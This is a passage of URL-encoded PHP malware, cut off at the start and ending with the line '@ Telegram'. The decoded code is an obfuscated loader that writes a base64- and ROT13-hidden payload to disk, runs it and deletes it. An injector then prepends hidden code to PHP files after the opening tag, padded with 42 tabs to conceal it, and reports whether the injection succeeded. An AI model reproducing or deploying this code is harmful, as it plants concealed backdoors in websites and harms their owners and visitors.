8session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25277c691a7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524binding%2529%2529%2520%257B%2520%2524binding%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522query_handler%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524hld%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524binding%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524rec%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524binding%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524binding%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524key%2520%253D%2520%252213e5a3af020b135b9c453d4b36851ea6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524hld%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_lookup_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
@ Telegram